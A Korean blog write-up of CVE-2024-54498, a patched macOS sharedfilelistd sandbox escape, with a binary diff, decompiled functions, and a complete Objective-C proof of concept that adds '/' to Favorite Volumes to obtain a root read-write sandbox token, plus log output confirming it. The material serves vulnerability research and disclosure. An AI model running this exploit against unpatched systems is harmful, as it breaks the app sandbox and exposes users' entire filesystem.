콘텐츠로 건너뛰기

[1day] CVE-2024-54498: sharedfilelistd: 루트 경로에 대한 샌드박스 읽기/쓰기 토큰 발급 취약점

Source Code

https://github.com/wh1te4ever/CVE-2024-54498-PoC/

Write-up

https://github.com/wh1te4ever/CVE-2024-54498-PoC/blob/main/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf

해당 취약점은 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.

SharedFileList 서비스에서 취약점이 발생한다.

Diffing

취약한 macOS 15.1.1 버전과 패치된 15.2 대상으로 디핑을 진행하였다.

취약점이 발견된 바이너리는 다음과 같다.

  • /System/Library/CoreServices/sharedfilelistd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 2개의 차이점이 존재하였다.

  • -[ConnectedProcess shouldExtendSandboxForListIdentifier:]
  • -[ConnectedProcess canAccessItem:error:]

먼저,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] 메소드를 살펴보면 다음과 같다.

• macOS 15.1.1 취약한 버전

bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)
{
  id v4; // x19
  bool v5; // w20

  v4 = objc_retain(a3);
  v5 = -[ConnectedProcess isSandboxed](self, "isSandboxed")
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0
    && (!(unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks")
     || ((unsigned int)objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments) & 1) == 0);
  objc_release(v4);
  return v5;
}

• macOS 15.2 패치된 버전

bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)
{
  id v4; // x19

  v4 = objc_retain(a3);
  if ( -[ConnectedProcess isSandboxed](self, "isSandboxed")
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0
    && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0
    && (unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks") )
  {
    objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments);
  }
  objc_release(v4);
  return 0;
}

위 함수를 보면, 패치된 버전에서는 메소드 함수가 항상 0 을 반환하고 있지만, 취약한 버전에서는 특정 조건에 따라 1 을 반환시킬 수 있다.

먼저 프로세스가 -[ConnectedProcessisSandboxed] 리턴값이 참이여야하고, 매개변수에 들어가는 a3 값이 특정한 값과 같지 않아야 한다. 같지 않아야 되는 특정값은 다음과 같다.

• kLSSharedFileListRecentApplicationItems

• kLSSharedFileListRecentDocumentItems

• kLSSharedFileListRecentServerItems

• kLSSharedFileListFavoriteItems

또,a3 매개변수가 kLSSharedFileListApplicationRecentDocuments 로 시작되지 않아야 하거나, _os_feature_enabled_impl(“SharedFileList”,”SecurityScopedBookmarks”) 함수 리턴값이 0 이여야 된다.

이러한 조건을 만족시키면 해당 메소드는 1 을 반환시킬 수 있다.

두번째로,-[ConnectedProcesscanAccessItem:error:] 메소드를 살펴보면 다음과 같다.

왼쪽은 취약한 함수, 오른쪽은 패치된 함수이다. 패치된 함수를 보면, v17값이 “/” 문자열일 경우에는 v21값은 1이 된다.

오른쪽에 패치된 코드를 보면 v21값이 1일 경우, 샌드박스에 의해 제한되었다면서 에러를 반환한다.

Analysis

취약점이 패치된 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드를 먼저 살펴보자.

역참조를 해보면, -[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListItemCopyResolvedURL 함수를 통해 호출시킬 수 있다. LSSharedFileListItemCopyResolvedURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크의 URL을 가져오는데 사용된다.

-[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드를 자세히 살펴보면,

[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환할 경우, v19에서 0x40000000LL 값을 OR 연산자로 세트시키고, 세트된 값이 -[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드로 전달된다.

[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드를 자세히 살펴보면, 먼저 bookmark 메서드를 호출하여 북마크 데이터를 가져온다.

가져온 북마크 데이터는 NSURL 클래스 메서드가 해석하여 해당 URL 객체를 반환시킨다.

URL 객체가 반환되면, -[NSURL fileSystemRepresentation] 메서드를 호출하여 파일의 경로 문자열을 가져온다.

만약 매개변수로 받는 v7이 0x40000000LL 값이 OR 연산자로 세트되어있으면, sandbox_extension_issue_file 함수를 통해 샌드박스 확장을 요청하여 토큰을 발급받을 수 있다.

그 다음으로, -[ConnectedProcess canAccessItem:error:] 메소드를 살펴보자.

역참조를 해보면, -[ConnectedProcess insertItem:atIndex:listIdentifier:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListInsertItemURL 함수를 통해 호출시킬 수 있다.

LSSharedFileListInsertItemURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크에 항목을 추가하거나 기존 항목을 업데이트하는 역할을 한다.

취약점이 패치되기 전에는 “/” 루트 경로를 북마크에 추가시키는 것이 가능하였다.

Exploit

익스플로잇하는 방법은 아래와 같다.

북마크에 “/” 루트 경로를 추가한다.

북마크 종류는 다음과 같지 않아야 한다.

  • kLSSharedFileListRecentApplicationItems
  • kLSSharedFileListRecentDocumentItems
  • kLSSharedFileListRecentServerItems
  • kLSSharedFileListFavoriteItems
  • kLSSharedFileListApplicationRecentDocuments 이름으로 시작되는 북마크

이제 LSSharedFileListItemResolve 함수를 호출하면, 루트인 모든 경로에 대해 샌드박스 읽기/쓰기가 가능해진다.

익스플로잇 코드를 통해 자세히 살펴보자.

https://github.com/wh1te4ever/CVE-2024-54498-PoC

int add_root_dir_to_favorites(void) {
    CFStringRef listType = kLSSharedFileListFavoriteVolumes; 
    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
    
    if (favoriteVolumesList) {
        NSString *path = @"/";
        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
        
        // Favorite Volumes에 추가
        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
                                                                        favoriteVolumesList,
                                                                        kLSSharedFileListItemLast,
                                                                        NULL,
                                                                        NULL,
                                                                        tmpDirURL,
                                                                        NULL,
                                                                        NULL
                                                                        );
        
        if (newItem) {
            NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
            CFRelease(newItem);
        } else {
            NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
        }
        
        CFRelease(favoriteVolumesList);
    } else {
        NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
    }
    
    return 0;
}

int remove_root_dir_from_favorites(void) {
    UInt32 seedValue;
    
    LSSharedFileListRef favoriteVolsRef = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
    if (!favoriteVolsRef) {
        NSLog(@"[-] Failed to access favorite items list.");
        return 0;
    }

    CFArrayRef favoriteVols = LSSharedFileListCopySnapshot(favoriteVolsRef, &seedValue);
    CFIndex arrayCount = CFArrayGetCount(favoriteVols);
    
    for (CFIndex i = 0; i < arrayCount; ++i) {
        CFURLRef urlRef;
        LSSharedFileListItemRef itemRef = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(favoriteVols, i);
        OSStatus status = LSSharedFileListItemResolve(itemRef, 0, &urlRef, NULL);

        if (status != noErr) {
            continue;
        }
        
        NSURL *theURL = (__bridge NSURL*) urlRef;
        NSString *checkPath = [theURL path];
        
        if ([checkPath isEqualToString:@"/"]) {
            LSSharedFileListItemRemove(favoriteVolsRef, itemRef);
            NSLog(@"[+] Successfully removed root directory (/) from favorite volumes.");
        }
        
        CFRelease(urlRef);
    }
    
    CFRelease(favoriteVols);
    CFRelease(favoriteVolsRef);
    
    return 0;
}

int trigger_exploit(void) {
    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
    if (recentItems) {
        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
        
        NSLog(@"items array: %@\\n", items);
        for (id item in items) {
            
            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
            CFErrorRef errorRef;
            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
            NSString *itemPath = [(__bridge NSURL *)itemURL path];
            NSLog(@"itemPath: %@", itemPath);
        }
        CFRelease(recentItems);
    } else {
        NSLog(@"Failed to retrieve recent items.");
    }
    
    return 0;
}

int main(void) {
    //Exploit...
    add_root_dir_to_favorites();
    
    trigger_exploit();
    
    remove_root_dir_from_favorites();
}

북마크에 “/” 루트 경로를 추가하는데, 종류를 kLSSharedFileListFavoriteVolumes으로 정해야 한다.

그렇게 해야 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환하여, 0x40000000LL 값을 OR 연산자로 세트되어, 추후에 sandbox_extension_issue_file 함수를 호출시킬 수 있기 때문이다.

이제 LSSharedFileListItemResolve 함수를 호출시키면 북마크 리스트를 가져오면서 “/”, 즉 전체 경로에 대한 샌드박스 토큰을 발급받아 sandbox_extension_consume 함수를 호출하는 것을 확인할 수 있었다.

2025-01-09 20:59:24.855 CVE-2024-54498[648:5371] [+] Called sandbox_extension_consume, ret = 2, extension_token = 228a2474e63a51fb2053ff7e315c4cda08003499b72ff3d769482d5d67a94df2;00;00000000;00000000;00000000;0000000000000020;com.apple.app-sandbox.read-write;01;01000013;0000000000000002;02;/
2025-01-09 20:59:24.858 CVE-2024-54498[648:5371] [+] sandbox_extension_consume trace: (
    0   CVE-2024-54498                      0x0000000102caea68 hook_sandbox_extension_consume + 84
    1   CoreServicesInternal                0x00000001945717fc _ZN21SandboxExtensionCache8_consumeEPK10__CFStringPK8__CFDataPS5_ + 204
    2   CoreServicesInternal                0x00000001945716a0 _ZN21SandboxExtensionCache7consumeEPK7__CFURLPK8__CFData + 104
    3   CoreServicesInternal                0x000000019456e738 _FSURLStartAccessingSecurityScopedResource + 84
    4   CoreFoundation                      0x0000000190c91cf8 CFURLStartAccessingSecurityScopedResource + 16
    5   CoreFoundation                      0x0000000190c91cbc -[NSURL startAccessingSecurityScopedResource] + 68
    6   SharedFileList                      0x0000000199d55174 __47-[_SFLItemWrapper initWithItem:listIdentifier:]_block_invoke + 332
    7   SharedFileList                      0x0000000199d54c84 -[SFLBookmark resolveWithOptions:relativeToURL:error:] + 128
    8   SharedFileList                      0x0000000199d54ac8 +[SFLList(LSSharedFileListSupport) resolveItem:resolutionFlags:error:] + 84
    9   SharedFileList                      0x0000000199d60e64 LSSharedFileListItemCopyResolvedURL + 144
    10  CVE-2024-54498                      0x0000000102cae45c trigger_exploit + 336
    11  CVE-2024-54498                      0x0000000102cae8a4 -[ViewController exploitButton:] + 268
    12  AppKit                              0x00000001948ec87c -[NSApplication(NSResponder) sendAction:to:from:] + 460
    13  AppKit                              0x00000001948ec680 -[NSControl sendAction:to:] + 72
    14  AppKit                              0x00000001948ec5c4 __26-[NSCell _sendActionFrom:]_block_invoke + 100
    15  AppKit                              0x00000001948ec4ec -[NSCell _sendActionFrom:] + 204
    16  AppKit                              0x00000001948ec3e8 -[NSButtonCell _sendActionFrom:] + 96
    17  AppKit                              0x00000001948e9970 NSControlTrackMouse + 1480
    18  AppKit                              0x00000001948e937c -[NSCell trackMouse:inRect:ofView:untilMouseUp:] + 144
    19  AppKit                              0x00000001948e91f4 -[NSButtonCell trackMouse:inRect:ofView:untilMouseUp:] + 580
    20  AppKit                              0x00000001948e8678 -[NSControl mouseDown:] + 448
    21  AppKit                              0x00000001948e7518 -[NSWindow(NSEventRouting) _handleMouseDownEvent:isDelayedEvent:] + 3672
    22  AppKit                              0x000000019487300c -[NSWindow(NSEventRouting) _reallySendEvent:isDelayedEvent:] + 384
    23  AppKit                              0x0000000194872cbc -[NSWindow(NSEventRouting) sendEvent:] + 284
    24  AppKit                              0x000000019508abf0 -[NSApplication(NSEventRouting) sendEvent:] + 1656
    25  AppKit                              0x0000000194c9889c -[NSApplication _handleEvent:] + 60
    26  AppKit                              0x000000019473eb08 -[NSApplication run] + 520
    27  AppKit                              0x0000000194715364 NSApplicationMain + 888
    28  CVE-2024-54498                      0x0000000102cadf78 main + 44
    29  dyld                                0x00000001907b8274 start + 2840
)

image10.png

Demo

태그: